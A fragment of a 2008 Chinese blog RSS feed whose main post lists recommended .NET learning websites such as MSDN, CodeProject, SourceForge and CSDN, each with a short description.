<img src ="http://www.blogjava.net/superstart/aggbug/203744.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/superstart/" target="_blank">farmer</a> 2008-05-29 10:45 <a href="http://www.blogjava.net/superstart/articles/203744.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>学习.Net的经典网站</title><link>http://www.blogjava.net/superstart/articles/202956.html</link><dc:creator>farmer</dc:creator><author>farmer</author><pubDate>Mon, 26 May 2008 08:21:00 GMT</pubDate><guid>http://www.blogjava.net/superstart/articles/202956.html</guid><wfw:comment>http://www.blogjava.net/superstart/comments/202956.html</wfw:comment><comments>http://www.blogjava.net/superstart/articles/202956.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/superstart/comments/commentRss/202956.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/superstart/services/trackbacks/202956.html</trackback:ping><description><![CDATA[<span style="font-size: 12px" twffan="done">还不错推荐给大家<br />
原文——<br />
名称：快速入门<br />
地址：<a href="http://chs.gotdotnet.com/quickstart/" target="_blank"><font color="#000080">http://chs.gotdotnet.com/quickstart/</font></a><br />
描述：本站点是微软.NET技术的快速入门网站，我们不必再安装.NET Framework中的快速入门示例程序，直接在网上查看此示例即看。<br />
****************************************************<br />
名称：微软官方.NET指导站点<br />
地址：<a href="http://www.gotdotnet.com/" target="_blank"><font color="#000080">http://www.gotdotnet.com/</font></a><br />
描述：上面的站点是本站的一个子站点，本站点提供微软.NET官方信息，并且有大量的用户源代码、控件下载，微软.NET开发组的人员也经常在此站点发表一些指导性文章。<br />
****************************************************<br />
名称：SourceForge<br />
地址：<a href="http://www.sourceforge.net/" target="_blank"><font color="#000080">http://www.sourceforge.net</font></a><br />
描述：世界上最大的Open Source项目在线网站，上面已经有.NET的各种大型Open Source项目上千件，包括SharpDevelop、NDoc、Mono等都是在此站点发布最新源代码信息。<br />
****************************************************<br />
名称：CodeProject<br />
地址：<a href="http://www.codeproject.com/" target="_blank"><font color="#000080">http://www.codeproject.com</font></a><br />
描述：很多非官方的中小型示例源代及文章，相当全面，基本上我们想要的各种方面的资料都可以在此处查找。<br />
****************************************************<br />
名称：Fabrice's weblog <br />
地址：<a href="http://dotnetweblogs.com/FMARGUERIE/Story/4139.aspx" target="_blank"><font color="#000080">http://dotnetweblogs.com/FMARGUERIE/Story/4139.aspx</font></a><br />
描述：这是一个WebLog形式的在线日志网站，定期更新，包括.NET相关的工具、混淆器、反编译器等各种信息，十分值得收藏。<br />
****************************************************<br />
名称：<br />
地址：<a href="http://www.aspalliance.com/aldotnet/examples/translate.aspx" target="_blank"><font color="#000080">http://www.aspalliance.com/aldotnet/examples/translate.aspx</font></a> <br />
描述：c#翻译为vb.net，提供一个文本框，将你的C#源代码贴进去，就可以帮你翻译成VB.NET语法。<br />
****************************************************<br />
名称：CSharpHelp<br />
地址：<a href="http://www.csharphelp.com/" target="_blank"><font color="#000080">http://www.csharphelp.com</font></a><br />
描述： 专业的C#语言在线帮助网站，主要提供C#语言方面的技术文章。专业性很强。<br />
****************************************************<br />
名称：DotNet247<br />
地址：<a href="http://www.dotnet247.com/" target="_blank"><font color="#000080">http://www.dotnet247.com</font></a><br />
描述：最好的索引网站，分别按照门类及命名空间的索引，也提供了Microsoft KB知识库。 <br />
<br />
<br />
<br />
补记——<br />
****************************************************<br />
名称：ASP.NET<br />
地址：<a href="http://www.asp.net/" target="_blank"><font color="#000080">http://www.asp.net</font></a><br />
描述：微软.NET webform的老巢，资料和实例代码都非常难得。<br />
****************************************************<br />
名称：微软.NET Winform<br />
地址：<a href="http://www.windowsforms.net/" target="_blank"><font color="#000080">http://www.windowsforms.net/</font></a><br />
描述：微软.NET Winform的老巢。<br />
****************************************************<br />
名称：微软 KnowledgeBase <br />
地址：<a href="http://support.microsoft.com/" target="_blank"><font color="#000080">http://support.microsoft.com/</font></a><br />
描述：微软知识库，开发的时候遇到的怪问题，可能会在这里找到答案。<br />
****************************************************<br />
名称：MSDN <br />
地址：<a href="http://msdn.microsoft.com/" target="_blank"><font color="#000080">http://msdn.microsoft.com/</font></a><br />
描述：这个就不用多说了吧，虽然出了中文MSDN，但是资料还是不够全，英文的就什么都有了。<br />
****************************************************<br />
名称：HotScripts <br />
地址：<a href="http://www.hotscripts.com/" target="_blank"><font color="#000080">http://www.hotscripts.com/</font></a><br />
描述：Welcome to HotScripts.com, the net&#8217;s largest PHP, CGI, Perl, JavaScript and ASP script collection and resource web portal. We currently have 24,004 scripts across 11 different programming languages and 1,240 categories, as well as links to books, articles, as well as programming tips and tutorials. <br />
****************************************************<br />
名称：ASPAlliance <br />
地址：<a href="http://www.aspalliance.com/" target="_blank"><font color="#000080">http://www.aspalliance.com/</font></a><br />
描述：提供相当丰富的文章和示例代码，思路匮乏的时候可以找找思路<br />
****************************************************<br />
名称：CSDN文档中心 <br />
地址：<a href="http://dev.csdn.net/" target="_blank"><font color="#000080">http://dev.csdn.net/</font></a><br />
描述：中文的，资料还算丰富，可以作为国内首选。<br />
****************************************************<br />
名称：DOTNET中华网 <br />
地址：<a href="http://www.aspxcn.com/" target="_blank"><font color="#000080">http://www.aspxcn.com/</font></a><br />
描述：2002-2003年的时候这个站点很不错的，不过现在好像管理不得力，有点疲软，资料更新也不过及时，论坛里人也不够热心了，因为希望它好起来，所以列出来。资料都比较老，不过有些D版的东西还可以。提供很多学习代码。<br />
****************************************************<br />
名称：中国DotNet俱乐部 <br />
地址：<a href="http://www.chinaspx.com/" target="_blank"><font color="#000080">http://www.chinaspx.com/</font></a><br />
描述：有点公司背景的网站，很健壮，资料更新及时，比较丰富。论坛解答也不错。<br />
****************************************************<br />
名称：【孟宪会之精彩世界】 <br />
地址：<a href="http://dotnet.aspx.cc/" target="_blank"><font color="#000080">http://dotnet.aspx.cc/</font></a><br />
描述：MS-MVP的个人站点，包括了他所有的经验文章，还是很值得一看的。<br />
****************************************************<br />
名称：dotNET Tools.org <br />
地址：<a href="http://www.dotnettools.org/" target="_blank"><font color="#000080">http://www.dotnettools.org</font></a><br />
描述：ccboy，也就是CSDN的小气的神的站点，里面有很多关于.NET等的好东东。<br />
****************************************************<br />
名称：博客堂 <br />
地址：<a href="http://blog.joycode.com/" target="_blank"><font color="#000080">http://blog.joycode.com/</font></a><br />
描述：半官方性质的MS-MVP汇集blog，大家可以在这里接触到最新的技术，了解发展趋势，对技术的探索等等，优秀的文章。<br />
****************************************************<br />
名称：DotNetBips.com - Applying .NET <br />
地址：<a href="http://www.dotnetbips.com/" target="_blank"><font color="#000080">http://www.dotnetbips.com/</font></a><br />
描述：该站点的文章，涉及到了整个.NET，从底层的IL到语言到架构，文章很多，质量还不错。<br />
****************************************************<br />
名称：C# Frequently Asked Questions<br />
地址：<a href="http://blogs.msdn.com/csharpfaq/" target="_blank"><font color="#000080">http://blogs.msdn.com/csharpfaq/</font></a><br />
描述：The C# team posts answers to common questions<br />
****************************************************<br />
再补记--------<br />
****************************************************<br />
名称：正则表达式<br />
地址：<a href="http://www.regexplib.com/" target="_blank"><font color="#000080">http://www.regexplib.com/</font></a><br />
描述: &nbsp;正则表达式学习站点 <br />
****************************************************<br />
名称：WINDOW FORMS FAQ <br />
地址：<a href="http://www.syncfusion.com/FAQ/WinForms/" target="_blank"><font color="#000080">http://www.syncfusion.com/FAQ/WinForms/</font></a><br />
描述：常见的forms faq问题，很多问题都可以在这里找到答案。 <br />
****************************************************<br />
名称：ASP.NET 常用类库说明<br />
地址：<a href="http://www.123aspx.com/rotor/default.aspx" target="_blank"><font color="#000080">http://www.123aspx.com/rotor/default.aspx</font></a><br />
描述：不用多说，看标题就知道是关于asp.net的名称空间的<br />
****************************************************<br />
名称：ASP.NET System.Web.Mail <br />
地址：<a href="http://www.systemwebmail.com/faq/3.8.aspx" target="_blank"><font color="#000080">http://www.systemwebmail.com/faq/3.8.aspx</font></a><br />
描述：邮件发送常见问题解决方法<br />
****************************************************<br />
名称：VB.NET &amp; C# 比较<br />
地址：<a href="http://www.harding.edu/USER/fmccown/WWW/vbnet_csharp_comparison.html" target="_blank"><font color="#000080">http://www.harding.edu/USER/fmccown/WWW/vbnet_csharp_comparison.html</font></a><br />
描述：VB.NET跟C#语法区别<br />
****************************************************<br />
名称：VB.NET架构师　BLOG<br />
地址：<a href="http://panopticoncentral.net/" target="_blank"><font color="#000080">http://panopticoncentral.net/</font></a><br />
描述：不用多说，想了解VB.NET的朋友不可不去的站点(PS，不知道我有没有记错是不是这个地址）</span><br />
<br />
<font size="2">****************************************************</font><br />
<br />
<br />
<img src ="http://www.blogjava.net/superstart/aggbug/202956.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/superstart/" target="_blank">farmer</a> 2008-05-26 16:21 <a href="http://www.blogjava.net/superstart/articles/202956.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>